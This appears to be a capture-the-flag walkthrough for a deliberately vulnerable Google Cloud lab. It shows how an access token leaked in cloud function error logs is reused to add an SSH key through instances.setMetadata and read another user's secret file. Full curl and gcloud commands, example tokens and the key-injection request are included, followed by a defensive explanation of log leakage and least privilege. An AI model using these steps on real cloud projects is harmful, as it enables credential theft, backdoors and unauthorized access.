python3 thunder.py destroy
Your virtual environment must be active to use thunder.py:
source ../env-tctf/bin/activate
python3 thunder.py create thunder/a4error
Activate the service account given to you. You MUST do this, or the level will not work as intended.
gcloud auth activate-service-account --key-file=start/a4-access.json
In this level, look for a file named "secret.txt," which is owned by "secretuser." Use the given compromised credentials to find it.
Test the permissions of the given credentials using the test-permissions.py script.
The credentials have the permission cloudfunctions.functions.list
List the cloud functions in the project:
gcloud functions list
URL endpoints for HTTP-based Cloud Functions have the following format:
https://[region]-[project-id].cloudfunctions.net/[function-name]
Retrieve the URL via curl
The function is protected and requires authorization. Attempt to access it using the service account's token:
curl [URL] -H "Authorization: Bearer $(gcloud auth print-identity-token)"
The function takes an argument. Try reading a random file by adding "?file=[filename] to the end of the url
The cloud function throws an error when a non-existent file is queried. Cloud function runtime errors are logged. If one has access to the logs, the error message can be read.
Read the cloud function related logs:
gcloud functions logs read
The function logged the HTTP request that it attempted to make. See if there's anything useful in the request.
An access token was included in the logged HTTP request in the "Authorization" header. The token can be used to access any API functions that the function's attached service account had permission for.
Example:
GET https://www.googleapis.com/storage/v1/b/a4-bucket-884260860342/o/file3.txt?alt=media Authorization: Bearer ya29.c.EqEBZwepkOFych006VjfVDFAJxSb5ErvGmBsVqq8S83NiJXZ_jaQsZlW0lWTP0q6Hs44ICf6mUkDYhOBG5H15A-lsIB-X9bMA-cJ9cl0mt-TU0q7vZjb0qdSUbYasDSTMBXKNzgkX_S_8ipAWVfg4HXfs_pb1Iid7O_QSxl1FeueTEQ6ns96Z1uRiF2qYQJlTyrWRKO3mPPGE1R9C0Nf9en2iFM
Check the permissions of the access token using the test-permissions.py script by supplying an access token instead of a JSON credential file.
Example:
python scripts/test-permissions.py ya29.c...2iFM
The token has the compute.instances.setMetadata ability, which can be used to add allowed ssh keys to the metadata of instances.
If you list the instances on the project using the start credentials, you will see there is an instance running. Try to gain access to it.
gcloud compute instances list
gcloud compute instances describe [instance-name]
Use the instances.setMetadata function of the Compute Engine REST API to set up an ssh key for you to use to login to the instance.
To generate an SSH key to connect to the instance we are creating, run the following in Cloud Shell:
ssh-keygen -f ./a4_key -t rsa -b 2048
chmod 400 a4_key
The public key is stored in a4_key.pub
The "fingerprint" that is needed to make the request can be found under "metadata" when running:
gcloud compute instances describe [instance-name]
Make a request calling instances.setMetadata to add your SSH key to the instance with the username "ubuntu" using the cloud function's access token
Example:
curl --request POST \ 'https://www.googleapis.com/compute/v1/projects/gcp-vulnerable/zones/us-west1-b/instances/a4-instance/setMetadata' \ -H 'Authorization: Bearer ya29.c.EqEBaQcnTsriJ_17rOa4mN05JHhC9hfXMp-T10gmdHWkC-xXB-Gfc27tFqgGYr4pGC8-8OeHe6acRjd3AHGBeZOWSEGUrKe9blwZK2bxiKXDoQJoiv7EbAxhdXC_wpfQtA12kmxjDArI0iT8GDJDf5qgYRLlIoJBnFRC2viaenbpsNfqw2ibu98wGp8OEhINDXn2m3Vnx-2tfoP6SHP8ysVBv7Q' \ -H 'Accept: application/json' \ -H 'Content-Type: application/json' \ --data '{ "fingerprint": "9Qs5OzliW7s=", "items": [ { "key": "ssh-keys", "value": "ubuntu:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKM2TM8CB7xUGD3/VxDCGOzCW1PCvaINfDChnYb0rJ4WWEuB7dFWc5R4NfycMDRCBGLWVlUWRqP0M4MSQB14SkuxuFtgkBL18mHipLR7LvXOL7YOrurfoi8RgNU0TFEogbTUGkM7XNc1EVma4kJ7vs8sBLukiZT0gwBms1Zi0s3Xen8lwTEDPvD6XJtoA+RT0zsVCDPalWv4SqfOxuKaY1SOqhqa4DQaEvDmIGZzZpbKcS82hEQGreNMAodWDind2nTdOMbS1gbHjxcZVZkWKssi9R2r2eFpSrrmaa98uo+5/sK0eoqqJNS1Ua7L8W1Dj1Mp0ucYW53yzexk8uCl+H ubuntu" } ] }'
SSH into the instance:
ssh -i a4_key ubuntu@[EXTERNAL-IP]
Check the directories of the other users
cd .. ls
The secret is stored in the home file of the user "secretuser"
cd ~/../secretuser cat secret.txt
It is common practice for a server application to perform input validation on any data that might be received to prevent injection attacks and to
emit an error when something is wrong. A developer must be sure that the error messages and their handling do not reveal any additional information that an
attacker can leverage. For example, timing and behavior discrepencies in handling successful and unsucessful login attempts can be leveraged to
perform username enumeration or execute Blind SQL injection attacks.
In the case of this level, the log messages generated from a request that produces an error, contains the request itself including its headers.
For cloud operations, such requests often contain an ephemeral access token that allows the requestor to authenticate itself to an API endpoint.
As the token is exposed, it can then be used to perform actions using the permissions that the cloud function has. If the developer has not
practiced the principle of least privileges, the attacker can use the compromised token to move laterally. In this case, a privilege
that allows one to set the Metadata of a running instance is given. This can be used to add an ssh key to an instance that effectively
provides a backdoor for the adversary.